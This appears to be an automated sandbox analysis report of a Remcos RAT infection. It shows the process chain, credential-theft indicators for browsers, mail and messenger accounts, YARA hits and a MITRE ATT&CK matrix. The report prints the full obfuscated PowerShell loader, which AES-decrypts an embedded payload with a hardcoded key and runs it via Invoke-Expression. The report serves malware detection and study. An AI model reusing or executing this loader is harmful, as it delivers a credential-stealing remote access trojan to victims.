Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI16942742004897547110020442916503CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIAiyJ4w4PDxrjYBTpE+kCMXAi0n0WFrEwTQqO6Ll9vCemso5/Wu4WU8DFicwqoQGgHUNsDgf18ada181Zl+9aIMRyGbBhOQL1xtRLUPEYoMibGKdW5HX/pyEQS0Jw3Vh2+CYHtXZW4mAXpPVkuI6gUlIz8DEsOP8YwWP+kL3LpnXUvoD/qBKfflwTqLdaSslAUZJBizi2g2Z8nGQwpbShstgk8iXwe1n31tDVYVkp3T5T5WY1HmUD74K+YmOudrHG5Myz3duSqcna3IjfjlEbg/ZIO/KCvQGjgfJjV8ugk/Yy2P5Oa+5QFOgc8iixUoiNIoPAYztidKVOOGmbgFMbkku0XGVqmJjKcyMtEJtArogT9aYZx/ed96FLgWK+okfu0GPY3zgarb0LJ0UOULymAYnqJJj3ofVS7De8JjcTEqBknfr/caOlBiLhsYNQWSOgsDhrRvf5YYzMpM83vqh06V2szJv2yAB9LsAHIGxJWtU+c0ovHZ5Vdqtl/xa+xpgCscC3s+9s4OttMJQD+Y6OgggjtZYrP3PNltGTuGXGV6FdDehpSU/xdy/8GAxcGUjH9Mr8gb130Pu+0YBW9HdBQ2iWvdVhvMv9Qexc/zgzM2wKPrSh6KwTAbvQCmsP7v0n0diE/lfStsBI95daYr1R09j361KgVwHJfGtSYJKTiZxk3Kjr8ned9cTP7Hr1sIs66dD0GkNgVgIBM3hQi4l/JbuLztLdOqUSCMtPOJbMVvd+MpGtoXPGCTnJjImLTYVVP67C5k3Tf8ib1O6pKQeQcxhQ5hyr1qq3EQ0hJl5ZNCjy/SUT8QdLtfUcum3xRlxAeH032MIpclIzJhwFgmOsJsKiJLds99V3vTPgCXZZnxnNS2du/73NT4UYFNd4J7+I54BTGng1g4J6A5nhvO9KkoFS0c0denf7crIdeMf7pSj0inJztc2aRCT3AEJT3zVJwCBYKOYKPppt5njp0JLB5aB1OBZOO8YTYn1Zek16QtXF/UDhcFSHjS/B3tfXkD2tRnhujolV+Fes7ISTg3tPOFFvRigpQFL4IgLPiP2k7alWxEZHAX+W9FTNKh054AIMuEYzSP0JTVG2VJBq1OAfoQjhBvwQGKAAzRNd+6L+lgQp6ASIjm8tteW0NYUDIsW5x5Js0LElEjrFSiSmbujrdPEw/2oL5TaVIPCWAWwofdzk+coQ0nI1BV4Ecz4/ITbC8RsV1s7k18zvJwByHMIMM9IrxaprgzKSCaODhTKxF53rNwycY7cipt+8OD/N5OYtYZcvj7SdQKqL5DqbVs23F23QxJW9fAyZGdFz8Roqgg9TRDb2FyYfFHPkwCgRN8f9lD4F+Xjt70yId/tbDb3DUwEzhVgMNSBmOaW6o9DawkzEHDJcdtOzPNSKtye26n8CIG+NRXD0lhN5RBg3MLzMew==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\nkpfvnsml"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\xeupwfcgzmvn"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\igzioyninunayvp"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\igzioyninunayvp"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni16942742004897547110020442916503cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cniaiyj4w4pdxrjybtpe+kcmxai0n0wfrewtqqo6ll9vcemso5/wu4wu8dficwqoqgghunsdgf18ada181zl+9aimrygbbhoql1xtrlupeyomibgkdw5hx/pyeqs0jw3vh2+cyhtxzw4maxppvkui6guliz8desop8ywwp+kl3lpnxuvod/qbkfflwtqldasslauzjbizi2g2z8ngqwpbshstgk8ixwe1n31tdvyvkp3t5t5wy1hmud74k+ymoudrhg5myz3dusqcna3ijfjlebg/zio/kcvqgjgfjjv8ugk/yy2p5oa+5qfogc8iixuoiniopayztidkvoogmbgfmbkku0xgvqmjjkcymtejtarogt9ayzx/ed96flgwk+okfu0gpy3zgarb0lj0uoulymaynqjjj3ofvs7de8jjcteqbknfr/caolbilhsynqwsogsdhrrvf5yyzmpm83vqh06v2szjv2yab9lsahigxjwtu+c0ovhz5vdqtl/xa+xpgcscc3s+9s4ottmjqd+y6ogggjtzyrp3pnltgtugxgv6fddehpsu/xdy/8gaxcgujh9mr8gb130pu+0ybw9hdbq2iwvdvhvmv9qexc/zgzm2wkprsh6kwtabvqcmsp7v0n0die/lfstsbi95dayr1r09j361kgvwhjfgtsyjktizxk3kjr8ned9ctp7hr1sis66dd0gkngvgibm3hqi4l/jbulztldoquscmtpojbmvvd+mpgtoxpgctnjjimltyvvp67c5k3tf8ib1o6pkqeqcxhq5hyr1qq3eq0hjl5zncjy/sut8qdltfucum3xrlxaeh032mipclizjhwfgmosjskijlds99v3vtpgcxzznxnns2du/73nt4uyfnd4j7+i54btgng1g4j6a5nhvo9kkofs0c0denf7cridemf7psj0injztc2arct3aejt3zvjwcbykoykpppt5njp0jlb5ab1obzoo8ytyn1zek16qtxf/udhcfshjs/b3tfxkd2trnhujolv+fes7istg3tpoffvrigpqfl4iglpip2k7alwxezhax+w9ftnkh054aimueyzsp0jtvg2vjbq1oafoqjhbvwqgkaazrnd+6l+lgqp6asijm8ttew0nyudisw5x5js0lelejrfsismbujrdpew/2ol5tavipcwawwofdzk+coq0ni1bv4ecz4/itbc8rsv1s7k18zvjwbyhmimm9irxaprgzkscaodhtkxf53rnwycy7cipt+8od/n5oytyzcvj7sdqkql5dqbvs23f23qxjw9fayzgdfz8roqgg9trdb2fyyffhpkwcgrn8f9ld4f+xjt70yid/tbdb3duwezhvgmnsbmoaw6o9dawkzehdjcdtozpnsktye26n8cig+nrxd0lhn5rbg3mlzmew==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command (('((e4jfunction decrypt-aesencryption {param([string]tmibase64text,[stringe4j+e4j]tmikey)tmie4j+e4jaesmanaged = new-object system.see4j+e4jcurity.cryptography.aesmanaged;tmia'+'esmanagee4j+e4'+'jd.modee4j+e4j = [syse4j+'+'e4jtem.security.cryptoge4j+e4jraphy.e4j+e'+'4jcie4'+'j+e4jphermode]::cbc;tmiaesmanaged.'+'pae4j+e4jddin'+'g = [system.security.cryptography.paddingmode]::zeros;tmiaesmanaged.blocksiz'+'e = 128;tmiaesmanaged.keysize = 256;'+'tmiaesmanagee4j+'+'e4jd.key = ('+'new-objecte4'+'j+e4j system.security.cryptography.sha256managed).computehash([syste'+'m.text.encoding]::utf8.gee4j+e4jtbytes(tmikey));tmicipherbytes = [syst'+'em.convert]::frombase64string(tmibase64text);tmiaesmanaged.iv '+'= tmicipherbytes[0..15];tmidecryptor = tmiaesmanaged.createdecryptor();tmidecryptedbytes = tmidecryptor.transformfin'+'alblock(tmicipherbytes, 16, tmicipherbytes.length - 16);e4j+e4jtmiae'+'smanaged.d'+'ispose('+');return [system.text.encoding]::utf8.getstring'+'(tmidecry'+'ptedbytes).tre4j+e4jim([char]0);}tmichave = cni16942742004897547110020442916503cnie4j+e4j;tmitextocriptogr'+'afadobase4j+e4je64 = '+'cniaiyj4w4pdxrjybtpe+kcmxai0n0wfrewtqqo6ll9vcemso5/wu4wu8dficwqoqgghunsdgf18ada181zl+9aimrygbbhoql1xtrlupeyomibgkdw5hx/pyeqs0jw3vh2+cyhtxzw4maxppvkui6guliz8desop8ywwp+kl3lpnxuvod/qbkfflwtqldasslauzjbizi2g2z8ngqwpbshstgk8ixwe1n31tdvyvkp3t5t5wy1hmud74k+ymoudrhg5myz3dusqcna3ijfjlebg/zio/kcvqgjgfjjv8ugk/yy2p5oa+5qfogc8iixuoiniopayztidkvoogmbgfmbkku0xgvqmjjkcymtejtarogt9ayzx/ed96flgwk+okfu0gpy3zgarb0lj0uoulymaynqjjj3ofvs7de8jjcteqbknfr/caolbilhsynqwsogsdhrrvf5yyzmpm83vqh06v2szjv2yab9lsahigxjwtu+c0ovhz5vdqtl/xa+xpgcscc3s+9s4ottmjqd+y6ogggjtzyrp3pnltgtugxgv6fddehpsu/xdy/8gaxcgujh9mr8gb130pu+0ybw9hdbq2iwvdvhvmv9qexc/zgzm2wkprsh6kwtabvqcmsp7v0n0die/lfstsbi95dayr1r09j361kgvwhjfgtsyjktizxk3kjr8ned9ctp7hr1sis66dd0gkngvgibm3hqi4l/jbulztldoquscmtpojbmvvd+mpgtoxpgctnjjimltyvvp67c5k3tf8ib1o6pkqeqcxhq5hyr1qq3eq0hjl5zncjy/sut8qdltfucum3xrlxaeh032mipclizjhwfgmosjskijlds99v3vtpgcxzznxnns2du/73nt4uyfnd4j7+i54btgng1g4j6a5nhvo9kkofs0c0denf7cridemf7psj0injztc2arct3aejt3zvjwcbykoykpppt5njp0jlb5ab1obzoo8ytyn1zek16qtxf/udhcfshjs/b3tfxkd2trnhujolv+fes7istg3tpoffvrigpqfl4iglpip2k7alwxezhax+w9ftnkh054aimueyzsp0jtvg2vjbq1oafoqjhbvwqgkaazrnd+6l+lgqp6asijm8ttew0nyudisw5x5js0lelejrfsismbujrdpew/2ol5tavipcwawwofdzk+coq0ni1bv4ecz4/itbc8rsv1s7k18zvjwbyhmimm9irxaprgzkscaodhtkxf53rnwycy7cipt+8od/n5oytyzcvj7sdqkql5dqbvs23f23qxjw9fayzgdfz8roqgg9trdb2fyyffhpkwcgrn8f9ld4f+xjt70yid/tbdb3duwezhvgmnsbmoaw6o9dawkzehdjcdtozpnsktye26n8cig+nrxd0lhn5rbg3mlzmew==cni;tmitextodescriptografado = decrypt-aesencryption -'+'base64text tmitextocriptografadobase64 -key tmichave;w'+'rite-host cnitexe4j+e4jto descre4j+e4jiptografado: tmi'+'textodescriptograe4j+e4jfadocni;invoke-expressioe4j+e4jn tmitext'+'oe4j+e4jdescriptografado;e4j)-replace ([char]67+[char]110+['+'char]73),[char]34 -crep			Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2929959756.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerk
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerYD\
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000F8A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2929959756.0000000000FA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|
Source: RegAsm.exe, 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, logs.dat.3.dr	Binary or memory string: [Program Manager]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00434C52 cpuid

3_2_00434C52

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	3_2_0040F8D1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00452036
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	3_2_004520C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_00452313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00448404
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	3_2_0045243C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_00452543
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	3_2_00452610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	3_2_004488ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	3_2_00451CD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00451F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	3_2_00451F9B

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00404F51 GetLocalTime,CreateEventA,CreateThread,

3_2_00404F51

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041B60D GetComputerNameExW,GetUserNameW,

3_2_0041B60D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004493AD _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

3_2_004493AD

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 4_2_0041739B GetVersionExW,

4_2_0041739B

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1344, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

3_2_0040BA12

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		3_2_0040BB30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \key3.db		3_2_0040BB30

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\IdentityCRL\Dynamic Salt	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Paltalk	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live Mail	Jump to behavior

Tries to steal Mail credentials (via file registry)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: ESMTPPassword	5_2_004033F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy, PopPassword	5_2_00402DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: _mbscpy,_mbscpy,_mbscpy,_mbscpy, SMTPPassword	5_2_00402DB3

Yara detected WebBrowserPassView password recovery tool

Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7228, type: MEMORYSTR

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-F4JFYD

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1f163071700.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.powershell.exe.1f163071700.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2929959756.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1760253899.000001F161F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2928318861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1760253899.000001F162D9C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6744, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1344, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: cmd.exe

3_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	231 Scripting	Valid Accounts	11 Native API	231 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	13 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	222 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 DLL Side-Loading	2 Credentials in Registry	1 System Service Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	Login Hook	1 Windows Service	1 Bypass User Account Control	3 Credentials In Files	3 File and Directory Discovery	Distributed Component Object Model	211 Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	422 Process Injection	11 Masquerading	LSA Secrets	38 System Information Discovery	SSH	3 Clipboard Data	22 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	31 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
